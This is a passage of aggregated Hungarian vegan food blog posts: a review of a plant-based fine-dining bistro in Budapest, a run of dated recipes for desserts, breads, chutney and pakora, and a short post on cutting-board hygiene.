Stőhr Gréta – a Great Bistro megálmodója, tulajdonosa és séfje – mert nagyot álmodni, és elhozta a növényi étrendesek világába a nagybetűs Gourmet fogalmát. Hiánypótlás mesterfokon! Jómagamat nem tartom gúrméfigurának, sőt inkább jellemző rám a mennyiségi mint a minőségi táplálkozás. A reggeli és esti zab valamint turmixhegyek, az ebédre összepattintott fél órás levesek, és egyszerűbb főételek dimenziójából havonta egyszer-kétszer kilépek és elmegyek feleségemmel vacsorázni. Olyan helyeket látogatunk, ahol általunk nehezebben elkészíthető fogásokat ehetünk. Számos, nagyon jó vegán étterem és kajás hely van Budapesten, de itt most valami egészen más született. Valami olyan, ami eddig még nem volt, valami tökéletes hiánypótló. Élményeim a Great Bistro-ban: Még márciusban láttak Grétáék vendégül egy degusztációs fine dining vacsorára. Illetve ne szaladjunk ennyire előre, mert csak egy vacsorára voltam hivatalos, és a franc sem gondolta, hogy Magyarország első 100%-ban növényi és gluténmentes fine dining vacsora beharangozójába és próba vacsorájába csöppenek. De így történt és totálisan el voltam ragadtatva. Először a menüsort kaptam készhez, amelyből ugyan néhány szó értelmezésével gondban voltam, viszont a felsorolás nagyon kecsegtetően hangzott. Majd következett a négyfogásos vacsora, az ízorgia pedig fogásról fogásra fokozódott és azt hittem, hogy egyenesen a mennybe kerültem. A menü egy előételből, egy levesből, egy főételből és egy csodálatos desszert válogatásból állt. Előétel Előételként marinált karotta lazac-ot szolgáltak fel remoulade mártással. A lazac-ot répával helyettesítették, amely a 24 órás pácolási folyamat hatására, mind állagában mind ízében szemtelenül hasonlított az igazi lazacra. Emellett a mártás olyan összhangot dobott a már számomra önmagában is kielégítő répaszeletekhez, amilyet addig csak nagyon kevés helyen éreztem. Leves A leves citrusos-joghurtos zellekrémleves volt. Felnőtt fejjel nagyon leveses lettem - kiváltképpen nagyon szeretem a krémleveseket -, így ezt a fogást kifejezetten vártam. Még ennyi idő után is emlékszem, ahogy minden egyes kanálnál a citrusos íz mennyire finoman kúszott végig az ízlelőbimbóimon. Tökéletesen kiegyensúlyozott volt a citrusos jelenlét a zelleres, fűszeres és joghurtos ízek kavalkádjában. Főétel Főételnek aszalt paradicsomos, édesburgonyás gnocchit szolgáltak fel parmezánropogóssal. A gnocchi - nagypapám csak lenudlizta, pedig a gnocchi mennyivel jobban cseng - ugyancsak egyik kedvenc ételem. Így ugyancsak szinte már fájdalmasnak mondható várakozással telt a leves és főétel között eltelt 4-5 perc, amíg Gréta pár szóban felvezette a következő fogást. Az előétel és a leves után ezen a ponton éreztem egy kicsi űrt. Szakmailag belekötni nem tudok és nem is a célom, ugyanakkor számomra ez az ízvilág nem adott többet, mint egy komolyabb étterem gnocchis fogása. Hozzáteszem, hogy legjobb tudomásom szerint nincs olyan vegán étterem ahol gluténmentes gnocchi-t lehet kapni. Desszert No és akkor jött a korona, a csúcs, a hovatovább, a nonplusultra, a desszert. Pisztáciába, kókuszpehelybe, aszalt áfonyába forgatott álomgombóc válogatás narancsvirágvízes joghurtöntettel, céklás-csokoládés brownie és mangós tiramisu. Ez milyen sor? Megnyílott a mennyek kapuja? Meg! Sorrendet állítani csak olyan formán tudtam a desszertek között, hogy melyik alapanyagot szeretem kevésbé. A csokoládés sütiket annyira nem csípem, így a brownie került leghátra úgy, hogy amikor megkóstoltam kis híján felkiáltottam örömömben. A céklás beütés annyira tökéletesen egészítette ki a tömény csokoládé ízét, hogy szóhoz sem jutottam. Az aranyérmet holtversenyben az álomgombóc válogatás kapta, kontra mangós tiramisu. A mangós tiramisu és a különböző köntösbe öltöztetett golyócskák a tökéletesség határát súrolták nálam. Ha nem tudnám, hogy mindennél lehet finomabbat készíteni, akkor ott leadtam volna a 10 pontot. Így csak 9,999 pontot tudtam adni a desszertekre. Is. Összességében számomra egy olyan élményt adott ez a vacsora, amelyet nem tudom ki, mikor, hol és mivel tud majd überelni. A vacsora hangulatát csak tovább emelte a Great Bistro barátságos és családias közege, valamint Gréta és Ákos minőségi és valódi jelenléte. Grétáék egyébként rendszeressé tették fine dining vacsoráikat a Great Bistro-ban minden szerda, csütörtök, péntek és szombat este. Sok sikert kívánok a versenytársaknak, hisz ahogy a bevezetőben írtam, Grétáék valami olyat tettek le az asztalra, ami ezeddig Magyarországon egyedülálló. De bármely európai, tisztán növényi ételeket felszolgáló étterme mellé odaállítanám őket bátran. Nagy büszkeség, hogy ennyire erősödünk növényi kaja fronton, mindenkinek nagy szeretettel ajánlom a Great Bistro-t. Nyitvatartás: Hétfő és kedd: 8:00 és 18:00 között nyitva. Szerdától péntekig: 8:00 és 22:00 között nyitva. Szombaton: 12:00 és 22:00 között nyitva. Vasárnap: zárva Cím: 1054 Budapest, Bank utca 6. A Great Bistro weboldala és facebook oldala.
Vegán málna fagyi Csepelen + recept
No, a nyár végére sikerül is posztolnom... :( (Úgy június végétől itt a szöveg nagyja, csak nem jutottam el a befejezéséig.) Eddig azt hittem, hogy ilyesmiért minimum a Herbaházig kell menni, vagy magamnak barkácsolni, erre ma a Karácsony Sándor utcában meglepődve látom a táblát, hogy vegán-paleo fagyi 20m... (kétszer elolvasom, hogy jól látom-e) (Spillion Kortárs Fagyizó) Visszafelé oda is ballagtunk. Málnát kértem, de a srác javasolta, hogy kóstoljak meg valami mást is, adott kóstolót, és bizony (pedig tartottam tőle) a citromos bazsalikomos is nagyszerű volt. Flóra, mint mindig, boldogan ínyenckedett, Ábel meg hősiesen küzdött egy málnával. A végén, ahogy s7okott, csak a tölcsér kellett neki. Van választék, kedves a kiszolgálás, biztosan megyünk még.. (Mi ugyan csak egyszer voltunk, de a Férj hazafelé munkából gyakran becsábul... :) ) Pedig pont a napokban jutottam el odáig, hogy a gyermekkori málnafagyi íze jött vissza házi kreálmányból. Igaz az nem vegán volt, de tegnap nagyon fini vegán málna is sikerült. Nincs fagyigépem, a Nutribullet viszont aprítja a jeget is, így a lefagyasztott hozzávalók kerülnek bele, majd 2-3 órára visszateszem a kelyhet még a mélyhűtőbe. Így még nem lesz jeges, de már formázható gombócokat kaphatunk. A nem vegán egyszerűen fagyasztott joghurt, gyümölcscukor és málna keveréke. (2 dl joghurt, 15 dkg málna, ízlés szerint 1-2 ek gyümölcscukor/sztívia...) Szerintem szójajoghurttal is működne, és ha csak sztíviát, vagy eritritet használunk hozzá, candidások is nyugodt szívvel fagyizhatnak végre. A vegán málnafagyi azért lett kókusztejszín alapú, mert Ábelnek vaníliát is akartam készíteni, így egyszerűen a végén ahhoz kevertem málnát. Mennyiséget megevett belőle a csapat. :) A rizstejszín csak azért került bele, hogy a Nutribullet tudjon dolgozni, és a kesut megdarálja, sima rizstej is alkalmas lehet, de nem volt itthon. Vegán vaníliafagylalt Hozzávalók: 200 ml fagyasztott kókusztejszín (Cocomas volt) 1,5 ek kesudió (kesu és mandula keveréke volt itthon) édesítés ízlés szerint (sztívia és némi eritrit volt) 100 ml rizstejszín 1/4 alma 1 rúd vanília kikapart bele Pár órára a kókusztejszínt a mélyhűtőbe rakjuk. A kesut összeturmixoljuk a rizstejszínnel, sztíviával, almával és vaníliával, majd hozzákeverjük a kókusztejszínt is. 2-3 órára visszatesszük a krémet a mélyhűtőbe, azután fogyasztható. A málnafagylalthoz 200 g málna került összekeverésre a vaníliafagyival. Nagyon finom! Fotó: Mutty.hu A csokis változat a Férjé, az ostyaszerűség pedig valójában egyfajta mézes keksz, de tökéletesen illik hozzá.
citromos-mákos cukkini muffin
2017. augusztus 11. Beautilicious
Egyszerűen csodás ez a cukkini. Az egyik legsokoldalúbb zöldség. Az állaga miatt tökéletes sütikbe, viszonylag semleges íze miatt pedig édesen és sósan is elkészíthető, de még önmagában is isteni, ráadásul rengeteg vitamin található benne. Használd ki, míg itt a szezonja. Hozzávalók - 1cukkini - 1citrom héja és leve - 2 tojás - 30gr útifűmaghéj - 140gr zabliszt - 60gr kókuszliszt - 60gr + 50gr édesítő - 150gr natúr joghurt - 50gr mák - szódabikarbóna - vanília Így készítsd - A megtisztított cukkinit turmixold össze a tojással és fél citrom levével és a vaníliával - Keverd össze a liszteket az útifűmag héjjal, szódabikarbónával és a 60gr édesítővel - Öntsd össze a két keveréket, majd alaposan keverd össze - A mákos részhez keverd össze a mákot a maradék édesítővel, joghurttal, a citrom héjjal és citromlével - Muffin formába adagold a tésztát, majd a mákos krémet, majd jöhet rá még egy kis tészta - Süsd előmelegített sütőben 170fokon 40percig
Vega "kolbász"krém
2017. augusztus 6. Éltető ételek
Igazán megszerettem az alakort, nagyon finom "hús"alapot ad töltelékeknek, krémeknek. A Zöldház Bio Panzióban ilyen kolbászkrémmel volt töltve a krumpli, de melegszendvics is készült belőle, mely házi tönkölyzsemlére volt kenve. Ha vegán szeretnéd elkészíteni, akkor a sajt helyett tegyél bele sörélesztőpelyhet. Tönkölyzsemlére került a vega kolbászkrém, majd egy kevéske sajt és egy szelet paradicsom. Hozzávalók: - 1 csésze alakor - 1 evőkanál vaj (vagy kókuszolaj) - fűszerek: pirospaprika, só, bors, őrölt kömény - 1-2 gerezd fokhagyma - füstölt sajt Elkészítése: - Az alakor búzát egy éjszakára áztasd be, majd másnap kb. 1 óra alatt bő vízben főzd puhára. A főzővízbe tegyél 1 teáskanál sót. - Ha megfőtt a gabona, akkor szűrd le, majd botmixerrel vagy húsdarálóval daráld krémesre. - A vajat olvaszd fel, és keverj el benne 1 teáskanál pirospaprikát. Add a darált alakorhoz a többi fűszerrel együtt. - Adj hozzá 2-3 evőkanál füstölt sajtot. - Kóstold meg, ha szükséges, még fűszerezd.Ezt a krémet kenheted kenyérre, készülhet belőle melegszendvics, de ahogy a képen látod, krumpli tölteléke is lehet.
lepény kenyér
2017. augusztus 2. Beautilicious
Ez egy lássuk mi sül ki belőle recept :). Gondoltam összedobok valamit vacsorára, hát lementem a konyhába és megnéztem miből élünk :D. Az eredmény egy fehérjében és rostban gazdag egészséges és laktató finomság lett Hozzávalók - 65gr útifűmaghéj + háromszoros mennyiségű víz - 65gr zabliszt - 15gr sörélesztő pehely - 3tojás - 30ml kókuszolaj - 100gr túró - fokhagyma granulátum - só - fél citrom leve - szódabikarbóna Így készítsd - Az útifűmaghéjat áztasd be a vízbe 20percre - Ezd keverd össze a többi nedves hozzávalóval - Egy külön tálba keverd el a száraz hozzávalókat - A két keveréket gyúrjuk össze alaposan - Formázzunk lepényeket sütőpapírral bélelt tepsibe - Süssük 200fokon 40percig
Hajdinás lepényke
2017. július 31. Éltető ételek
Ezt a finomságot szintén a Zöldház Bio Panzióban ettük, bár ehhez hasonlót én is készítettem már. Alma helyett más gyümölccsel is elkészíthetjük, pl. banánnal, sárgabarackkal vagy szilvával. Amennyiben a tojást el szeretnéd hagyni belőle, akkor fél banánt tegyél bele. Hozzávalók: - 15 dkg hajdinaliszt - 1 bio vagy házi tojás - 2-3 dl víz - csipet só - késhegynyi sütőpor - 15-20 dkg alma nagylyukú reszelőn lereszelve - fahéj, vaníliapor - kókuszolaj Elkészítése: - A reszelt almához keverjünk hozzá minden alapanyagot. A vizet csak lassan adjuk hozzá, hogy jó sűrű palacsintatésztát kapjunk. - Egy kerámia serpenyőbe tegyünk egy kevéske kókuszolajat, majd evőkanállal tegyük bele a lepénykéket és süssük készre.
Erdei gyümölcsös “joghurt” szelet
Íme egy igazán könnyű, frissítő “mentes” desszert recept amely nemcsak vegán, cukormentes hanem gluténmentes is!
Hozzávalók: (10-12 szelethez)
100 g rizsliszt
50 g gluténmentes lisztkeverék
25 g kókuszreszelék
25 g kakaópor
200 ml víz
80 g eritrit
1/2 citrom lereszelt héja
6 evőkanál folyékony (szoba hőmérsékletű) kókuszolaj
1 tasak foszfátmentes sütőpor
Krém:
250 g selyem tofu
200 ml kókusztejszínt
100 g eritrit
1 citrom reszelt héja
1 citrom leve
késhegynyi bourbon vanília
2 csapott evőkanál agar-agar
1,5 dl víz
két maréknyi friss, vegyes piros gyümölcsök
A piskóta száraz hozzávalóit összekavarjuk, majd hozzáadjuk a nedves hozzávalókat, robotgéppel alaposan összedolgozzuk és egy kiolajozott kapcsos 10 szeletes tortaformába öntjük, 180 C fokon 40 percig sütjük. Tűpróbát végzünk, ha nem tapad a közepe elkészült, ha szükséges még 5-10 percig sütjük 150 C fokon. Formában hagyjuk kihűlni.
A krém hozzávalóit (kivéve az agar-agar és víz) összeturmixoljuk. A vizet hidegen elkeverjük az agar-agarral és felforraljuk. Utána hozzákeverjük, turmixoljuk a krémmel, belekeverjük a megmosott gyümölcsöket és a formába öntjük, a piskóta tetejére. Hűtőben egy éjszakát pihentetjük, vagy fagyasztóban 1-2 órát hűtjük.
Padlizsános spagetti
2017. július 23. Éltető ételek
A zöldséges tésztákban végeláthatatlan lehetőség rejlik attól függően, hogy milyen zöldséget és milyen tésztát használsz fel hozzá. Most itt a padlizsán szezonja, készítsétek el minél gyakrabban ezt a finomságot. Hozzávalók (4 adag): - 1 szép nagy vöröshagyma - 2-3 evőkanál kókuszolaj - 3-4 gerezd fokhagyma - 1 nagy padlizsán - 50-60 dkg paradicsom - lehetőleg friss zöldfűszer : rozmaring, oregánó, kakukkfű - himalája só, bors - 1 csomag (gluténmentes) spagetti Én cukkinit is tettem bele. Elkészítése: - A hagymát vágd fel kis kockára, majd a kókuszolajon kezdd el megdinsztelni. Néhány perc elteltével reszeld bele a fokhagymát, de figyelj, hogy ne égjen meg! - A paradicsom kis részét turmixold, a többit vágd cikkekre. Öntsd rá a hagymás zsírra, és süsd össze. Fűszerezd. - Közben a padlizsánt hámozd meg, szeleteld fel. Sózd be, majd hagyd állni 20-30 percig. A sütőt melegítsd elő 180-190 fokra. - Anikó (Zöldház Bio Panzió konyhatündére) a padlizsánokat egyszerűen megsütötte a sütőben, én viszont sütés előtt kissé bepácoltam. Egy kis olívaolajba tettem füstölt pirospaprikát, sót, borsot és 1 gerezd fokhagymát reszeltem bele. A sótól jól leöblített padlizsán szeleteket ebbe a pácba kevertem. - Tehát én grillen 5-8 perc alatt megsütöttem a padlizsánt, de odafigyelve, hogy ne égjen meg! - Amikor jól összesült a paradicsom, akkor hozzákevertem (csíkokra vágtam) a grillezett padlizsánokat. Ezek után már nem kell főzni, tálalhatod is a kifőtt tésztához.
fahéjas kalács
2017. július 18. Beautilicious
Nagyon régóta gondolkozom egy omlós, puha kalács elkészítésén. Ez most végre bekövetkezett, és az eredmény pont olyan lett, mint amilyent reméltem, sőőőt... :). Bekerült a kedvenceim közé. Hozzávalók - 2répa - 1alma - 4 tojás - 100ml növényi tej - 150gr zabliszt - 50gr kókuszliszt - 20gr tápióka keményítő - 50gr édesítő - fahéj - 1 zacskó sütőpor Így készítsd - A répát és az almát hámozd meg, majd kockázd fel - Tedd turmixgépbe és add hozzá a tojássárgáját és a tejet - keverd össze a liszteket, a keményítőt, a sütőport és az édesítőt - Öntsd hozzá a répás keveréket - Verd kemény habbá a tojásfehérjét, majd forgasd a tésztához - A feléhez adj fahéjat, majd kenyérsütő formába adagold a tésztát rétegezve - Süsd 180 fokon 45percig
Paradicsom chutney (csatni)
2017. július 14. Élj harmóniában
Paradicsom chutney (csatni)A csatni (chuetney), ami megbolondítja az ételeket a tányérodon. Édes, sós, csípős, savanyú mindez egyben:) Kiváló étvágycsináló, emésztést segítő és segít kiemelni az ételek ízét. Minden ételt élvezetesebbé tesz. Az ájurvéda és az indiai konyha szinte minden étkezéshez készít valamilyen csatnit. A csatnikat fogyaszthatod melegen vagy hidegen is. Már néhány chuetneyi receptet közzé tettem a blogon - Szilva csatni itt olvasható az Alma csatnit pedig itt találod és egy nyári hűsítő friss kókuszos koriander csatni recetet is találsz a blogon A Jógatáborban a pakorát friss paradicsomból készült csatnival tálaltuk, hát mit ne mondjak, hatalmas sikere volt:) talán a paradicsom csatni a legnépszerűbb az összes csatni között, mert közel áll a nyugati emberek ízlésvilágához. A kókuszcsatni, szilvacsatni, répás vagy körte csatni kicsit érdekesebb az megszokott hazai ízekhez képest. A paradicsom csatni hozzávalói 2 ek. ghí (vegán változatban kókuszzsír) 1/4 tk. fekete mustármag 1/4 tk.római kömény 1 kis fahájrúd 2 szárított, tört chili 1/4 tk. kurkuma 2 pohár friss, érett, kemény paradicsom 1/3 csésze teljes értékű nádcukor 1/4 csésze mazsola 1/4 csésze só Vegyszermentes (bio) alapanyagokat használj! A paradicsomokat forró víz segítségével hámozd meg és vágd nagyobb darabokra. A ghít vagy olajat közepes lángon hevítsd fel. A forró zsiradékban pattogtasd ki a fekete mustármagot. Add hozzá a római köményt, fahéjat. amikor a fahéj sötétedik tedd hozzá a chilit, kurkumát és a paradicsomokat. Közepes lángon, folyamatosan kevergetve 10 percig főzd. Tedd hozzá a mazsolát, sót és a cukrot. 5 percig főzve hígabb csatnit kapsz. Ha jobban szereted a sűrűbb, lekvár szerű csatnit, akkor főzd 15 percig, hogy besűrűsödjön. Melegen vagy hidegen tálalhatod, hűben tárolható néhány napig.
Rizslisztes lepény
2017. július 13. Éltető ételek
Gluténmentes és finom is? ... ugyanakkor nincs tele kukoricakeményítővel? Igen, ez a lepény pont ilyen. Nagyon finom reggelire, pl. pástétommal megkenve, de főzelék vagy saláta mellé is el tudom képzelni. Ez a recept is a Zöldház Bio Panzió ajánlata! Hozzávalók: - 30 dkg főtt burgonya - 5 dkg vöröshagyma - 1,5 evőkanál kókuszolaj - 15 dkg rizsliszt - 1,5-2 dl víz - só, bors, őrölt kömény, fokhagyma Elkészítése: - A krumplit héjában főzd meg, majd még puhán törd jól össze. - Hagyd teljesen kihűlni. - Közben az apróra vágott hagymát a kókuszolajon pirítsd meg. - Keverj össze minden hozzávalót, és fűszerezd. - Egy tepsit kenj ki olajjal, és simítsd bele a masszát. - Előmelegített sütőben süsd ropogósra.
Feketeribizlis maca golyók
2017. július 10. Vegán receptek Tőlünk Nektek
Annától kaptuk :)
Hozzávalók:
- Napraforgómag kb 10 dkg
- Tahini 3 ek
- 2 ek karob
- 4 ek maca por
- Puffasztott amarant
- 1 -1.5 ek kókuszzsír
- 1 ek szezámolaj
- 17-20 szem datolya
- Agavé szirup
- Kókuszreszelék
- Dió
Elkészítése:
A napraforgó magot puhára őröltem, hozzáadtam a datolyaszemeket és a kókuszzsírt, olajat és a tahinit. Együtt daráltam. Feketeribizlit ( de lehet áfonya is vagy málna , szeder például) adtam hozzá 3-4 marékkal, ezzel is könnyebben darálódott. Meghintettem a karobbal, maca porral és kézzel összedolgoztam. Lehet agavé vagy datolya sziruppal még édesíteni a masszát. Az száraz összetevőket és a gyümölcsöket akár külön is lehet darálni, hogy finom legyen és utána tálban mindennel összedolgozni.
A masszát hűtőbe tettem kb 40 percre. Utána a megformázott golyókat darált kókuszreszelékbe vagy őrölt dióba vagy amarántba forgattam. Nekem a kókuszreszelékes ízlik legjobban.
Tipp: Reszelt karobcsokival is el tudom képzelni... :)
Jó étvágyat!
csokis croissant
2017. július 10. Beautilicious
A balatoni kirándulásom előtt állok, de édességből sose lehet hiány. Reggelente mindig kígyózó sor áll a pékség előtt, ahonnan mindig árad az isteni pékség illat. A kiskori kedvencem a csokis croissant, amit mindig a lehel piacon könyörögtünk ki anyutól, mert nagyon imádtuk. Ezt hoztam most el nektek kicsit másképp. Hozzávalók - 200gr zabliszt - 100gr kókuszliszt - 100gr édesítő - 1 tasak sütőpor - 10gr útifű maghéj - 1 tojás sárgája - 300gr túró - annyi tejföl, hogy nyújtható legyen a tészta - 1 cékla - 100ml kávé - 1 marék datolya - 1 ek kakaópor Így készítsd - Tedd fel főni a megtisztított céklát - A tésztához keverd össze a liszteket, sütőport és édesítőt - Add hozzá a túrót, a tojás sárgáját, majd annyi tejfölt, amennyi szükséges (nekem 150gr kellett) - A krémhez turmixold össze a céklát a datolyával, kakaóporral és a kávéval - Válaszd négy részre a tésztát - Nyújtsd kör alakúra a tésztákat - Két tésztát kenj meg krémmel, majd egy- egy sima kört helyezz mindkettőre - Vágd 8 cikkre a köröket és tekerd fel őket, majd helyezd sütőpapírra - Előmelegített sütőben süsd 180fokon 30 percig
Miért nemcsak kellemetlen, hanem egészségtelen is a húsos vágódeszkát használni vegánként
Elég könnyű ételmérgezést kapni a nem megfelelően tárolt/főzött hústól, ez nem új információ. Ha a vágódeszkádat valaki már használta nyers hús vágására, valószínűleg nem kéne használnod. Például ha salátát csinálsz, és az uborkát a “húsos” vágódeszkán vágod fel, a baktériumok, amik a nyers húson megtalálhatóak, a deszkáról az uborkára kerülnek, és az egészséges salátád (ami így már nem egészen az) csúnya ételmérgezéshez vezethet, mivel a salátát nyersen eszed, így a baktériumok nem pusztulnak el a sütéskor. Ha eddig azt gondoltad, a műanyag vágódeszka biztonságosabb ilyen szempontból, sajnos nem jól tudtad. Könnyebb őket fertőtleníteni, de a mély vágások, amik a műanyag deszkákon keletkeznek, melegágyai a baktériumoknak. De van pár ötletünk, hogyan használhatod a vágódeszkáidat biztonságosabban: - Ne egyél húst vagy más állati eredetű “terméket”. - Ne hagyd, hogy a veled egy háztartásban élőek állatokat vagy állati eredetű “termékeket” egyenek. - Ha mégis esznek, akkor legyen saját vágódeszkád, és hagyd meg nekik a húsosakat. - Csak tiszta, megmosott zöldségeket és gyümölcsöket vágj a vágódeszkádon. - A legjobb, amit tehetsz, ha már rögtön használat után elmosod a vágódeszkád, hogy ne száradjon rá semmi. Meleg vízzel és mosogatószerrel mosd, használj környezetbarát, vegán és cruelty free mosogatószert. - Soha ne áztasd a fa vágódeszkádat, és ne tedd be a mosogatógépbe, mert teljesen tönkreteheti. - Miután lesikáltad szivaccsal vagy kefével, mosogatószerrel, alaposan öblítsd el. - Tedd olyan helyre, ahol jól meg tud száradni. - A legelső használat előtt a fa deszkákat érdemes kókuszolajjal kezelni, és ezt havonta megismételni, hogy ne hajoljon meg vagy repedjen be. - A legjobb és legfontosabb, amit tehetsz tényleg az, hogy ne egyél állatokat. Itt veheted meg a saját, külön bejáratú vágódeszkádat vegán feliattal: http://shop.veganinja.hu/termekcimke/veganwood Forrás: http://veganwood.com/using-chopping-board-used-cutting-meat-gross/ The post Miért nemcsak kellemetlen, hanem egészségtelen is a húsos vágódeszkát használni vegánként appeared first on VegaNinja.
Karfiol pakora - karfiol fűszeres bundában sütve
2017. július 3. Élj harmóniában
A jógatáborok, jóga elvonulások legnagyobb sikere a sült csemegék, ezért általában, ezt hagyjuk az utolsó étkezésre:) A pakora egy nagyon finom indiai sült csemege, ami csicseriborsó lisztes bundával készítenek. A férjem által évtizedek óta készített karfiol pakora, egy tradicionális recept alapján, nagyon finom fűszeres bundával készül. Az ájurvéda alapján a fűszerek ebben a tradicionális receptben úgy vannak összeválogatva, hogy a lehető legjobb ízélményt hozzák össze és segítsék az emésztést. Karfiol pakora - karfiol fűszeres bundában sütve Karfiol pakora Hozzávalók: - 1 fej karfiol - 0.25 kg csicseriborsó liszt - 1 lapos evőkanál só - fűszerek a tésztába: 1 evőkanál kalinji, 1ek római kömény, 1 ek őrölt koriander, 1ek kurkuma, 1 kávéskanál hing (aszafoetida), 1/2 kávéskanál por chilli - a sütéshez ghí, kókuszolaj vagy sütésre alkalmas sütőolaj Vegyszermentes (bio) alapanyagokat használj! Készítsd elő a karfiolt, szedd rózsákra és alaposan tisztítsd meg. A csicseriborsó lisztet keverd össze a sóval és a fűszerekkel, annyi vizet adj hozzá, hogy folyós tésztát kapj, ami még rajta marad a belemártott zöldségen. A karfiolt rózsákat mártsd bele a tésztába és forró ghíben (vagy sütőolajban) süsd ki és utána csöpögtesd le. Csatnival tálalva ellenállhatatlan:) egy alma csatni receptet itt olvashatsz a blogon.
Ribizlis rizsjégkrém
A múltkori 100% kézi eperfagyi után úgy belelkesültem, hogy elindult itthon a vegán jégkrémgyártás ipari mennyiségekben. Persze hőségben fagyi receptekkel kísérletezni roppant hálás dolog. Mindegyikre azonnal hárman csapnak le. :)) Ebben a pillanatban jutott eszembe egy harmadik izgalmas változat, szóval, indulok is megcsinálni. :) Na, jó, ez eldőlt: fagyi sorozat lesz, és kész. Ti pedig fogadjátok egyelőre ezt, a második számút. :) Hozzávalók négy jégkrémhez - 300 ml tej (én rizstejet használtam) - 10 g kókuszreszelék (opcionális) - 15 g cukor - 20 rizsliszt - 30 g ribizli - A rizslisztet kis tejben keverjük simára. - A többi tejet a cukorral és a kókuszreszelékkel forraljuk fel. Öntsük hozzá a rizslisztes krémet, és folyamatos kevergetés mellett újra forraljuk fel. hagyjuk 1-2 percet bugyogni, hogy besűrűsödjön. Hagyjuk hűlni kicsit. - A ribizlivel együtt rétegezzük jégkrém formába, és fagyasszuk ki. Jó étvágyat! Elkészítési idő: 10 perc Ez egy vegán recept volt. :) Hasonló recepteket ITT találsz még. Ha itt feliratkozol, a legújabbakat mindig frissen kapod majd a postaládádba. :) Nézd meg a legújabb Kertkonyha főzőtanfolyamokat: Kezdő Vegán Vegán MUST HAVE – a kötelező alapcsomag Növényi Tejek és Tejtermékek I Növényi Tejtermékek II A Mindennapi Superfood Kezdő Vegán Angol nyelven
Narancsos túrófánk
2017. június 23. Beautilicious
Könnyed fehérjében gazdag édesség. Ennél nagyobb jutalom nincs is egy kiadós edzés után. Hozzávalók - 400gr túró - 2 narancs héja és leve - fél citrom héja és leve - 100gr kókuszliszt - 100gr zabliszt - 15 gr útifűmaghéj - 60gr édesítő - 2 tojás - fél csomag sütőpor Így készítsd - A túrót keverd össze a tojással és reszeld bele a gyümölcsök héját - Facsard ki a gyümölcsöket, majd öntsd hozzá - Keverd össze egy másik tálba a többi hozzávalót - Öntsd hozzá a túrós keveréket - Keverd össze alaposan - Formázz belőle golyókat, majd süsd ki 170 fokon 20perc alatt
dupla sajtos kifli
2017. június 20. Beautilicious
Egy igazán sajtos pékárura vágysz? Akkor ezt a receptet neked találtam ki :D. Nagyon sajtos, nagyon finom, nagyon szuper kifli. Hozzávalók - 1 gömb mozzarella - 200gr zabliszt - 10gr útifűmaghéj - fél citrom leve - 1ek kókuszolaj - szódabikarbóna - só - fokhagyma granulátum - 150gr trapista sajt - 1tojás a kenéshez Így készítsd - A mozzarellát morzsold össze és keverd össze a kókuszolajjal - Öntsd hozzá a lisztet, útifűmaghéjat, a sót és a fokhagyma granulátumot - Ezt alaposan gyúrd össze - A szódabikarbónát keverd el a citromlében, majd ezt is add hozzá - Nyújtsd ki a tésztát kör alakúra, majd vágd 8-10 szeletre - Kend meg tojással, majd szórd meg sajttal és tekerd fel - Előmelegített sütőben 170 fokon 30 perc alatt kész
Mangós datolyagolyók (nyers, laktózmentes, gluténmentes, vegán)
2017. június 16. Zizi kalandjai
A datolyagolyók sláger számba mennek nálunk. Nagyon szeretik a fiúk és mi is. Kiváló tízórai a reggeli turmixunk után (nyári időszakban mindig turmixszal indítjuk a napot… jön az őszibarack szezon is ihatjuk a kedvenc turmixomat, juhéj!), de kirándulásra, játszótérre is magunkkal vihetjük. Előnye, hogy a melegben nem kell hozzá bekapcsolni a sütőt, csak az aprítógépbe bedobálunk mindent, aztán jöhet a közös program a gyerekekkel és tetszőleges nagyságú golyókat formázva már készen is vagyunk. Ez most egy mangós változat, cukormentes aszalt mangót használtunk hozzá és mennyei lett.
Mindig azon csodálkozom, hogy a cukormentes aszalványok miért drágábbak, mint a cukrosak, amikor a cukormenteshez semmilyen más élelmiszert nem használnak, csak magát a gyümölcsöt… megaszalják, aztán kész is. A cukroshoz meg pluszban kell fizetni a cukorért és az kevesebbe kerül, mint a cukormentes? Ki érti ezt? Én a cukormentes nagyon finom aszalt mangót a Lehel piacon vettem (kimérve lehet venni). Nagyon finom magában is, de így a datolyagolyóban is isteni.
És néhány szó a datolyáról, mert mindig sokan kérdeztek róla. Én szeretek friss datolyát használni a nyers süteményekhez, meg magában enni is. Friss datolyát be lehet szerezni ázsiai/keleti fűszeres szupermarketekből. Ahol nincsen ilyen az online tud rendelni a Biorganiktól vagy a Datolyakirálytól. Ha pedig aszalt datolyát használtok, akkor csakis jó minőségűt, amely nincsen glükózsziruppal és fényezőanyaggal (!!!) kezelve. Aszalt datolya esetében érdemes a datolyát felhasználás előtt egy-két órára hideg vízbe áztatni vagy ha kevesebb az időnk, akkor 15 percre meleg vízbe. Utána kimagozzuk és már használhatjuk is.
Ja, a fotózás a minimalista stylingot követi… egy egy éves és egy négy éves mellett ezt tudtam kihozni a képekből!
Mangós datolyagolyók (nyers, laktózmentes, gluténmentes, vegán) Mentés Nyomtatás Előkészítési idő 10 perc Főzési idő 10 perc Teljes idő 20 perc Könnyen elkészíthető, nyers datolyagolyó falatok tízóraira vagy kiránduláshoz. Szerző: Zizi Recept típusa: snack, datolyagolyó, nyers Konyha: vegán, gluténmentes Adag/mennyiség: 20-25 darab Hozzávalók 200 g friss datolya, kimagozva 180 g dió és mandula, vegyesen 60 g cukormentes aszalt mangó 4 evőkanál kókuszreszelék 4 evőkanál extra szűz kókuszzsír 1 evőkanál mandulavaj 1 evőkanál chia mag Elkészítés Tegyük robotgépbe a diót, a mandulát, és daráljuk kis darabos állagúra. Ekkor adjuk hozzá a kimagozott datolyát és az összes többi alapanyagot. Addig dolgoztassuk a robotgépet, amíg a massza enyhén ragacsossá (kissé zsírossá a kókuszzsír miatt) válik (állítsuk le a gépet és ellenőrizzük az állagot). Formázzunk golyókat a masszából. Zárt dobozban, hűvös helyen, hőtőben 10-12 napig eláll (de addig úgysem fog tartani). Jegyzetek A mandulavaj helyett kesudióvajat vagy földimogyoróvajat is használhatunk. 3.5.3226
Gomba masala
